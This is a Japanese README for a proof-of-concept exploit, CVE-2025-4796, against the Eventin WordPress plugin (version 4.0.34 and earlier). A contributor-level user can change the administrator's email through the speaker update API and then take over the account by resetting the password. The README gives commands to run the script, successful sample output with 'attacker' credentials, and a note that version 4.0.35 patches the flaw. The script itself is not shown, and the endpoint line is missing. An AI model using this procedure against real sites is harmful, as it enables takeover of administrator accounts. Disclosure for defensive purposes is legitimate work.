
eventin <= 4.0.34 - 認証された投稿者以上を対象とした、ユーザーメールアドレスの変更による権限昇格 / アカウント乗っ取り
eventin <= 4.0.34 - 認証済み投稿者以上のユーザーメール変更による権限昇格 / アカウント乗っ取り
Eventin WordPressプラグイン(<= 4.0.34)の権限昇格バグ。投稿者以上のユーザーがプラグインのスピーカー更新APIを通じて任意のユーザーのメールアドレスを変更できます。管理者のメールを攻撃者が管理するものに変更することで、パスワードをリセットしてアカウントを乗っ取ることができます。
eventin\speaker\api\speakercontroller::update_item)Eventinは、更新を要求しているユーザーが誰であるか、またはユーザーメールを変更する権限があるかどうかを適切にチェックしません。投稿者以上のユーザーは次のエンドポイントを呼び出すことができます:
必要条件:
requestsのインストール:
pip install requests
スクリプトを実行し、プロンプトに従って必要な値を入力してください:
python3 CVE-2025-4796.py
[+] SSL検証警告を無効化
[+] WordPressにログイン中。
[+] ログイン成功。
[+] nonceトークンを取得中
[+] nonceトークンが見つかりました: abcdef1234567890
[+] スピーカーメールの更新リクエスト
[+] 更新操作が成功しました。
url: http://example.com
id: 123
email: [email protected].
user: attacker
pass: yourpassword
{.
"id": 123,
"email": "[email protected]",
"name": "Speaker Name",
...
}.
パッチはEventinプラグインのバージョン4.0.35でリリースされました。サイト管理者は直ちにこのバージョンにアップデートすることを強く推奨します。修正内容には、SpeakerController::update_item関数における追加のユーザー検証チェックが含まれています。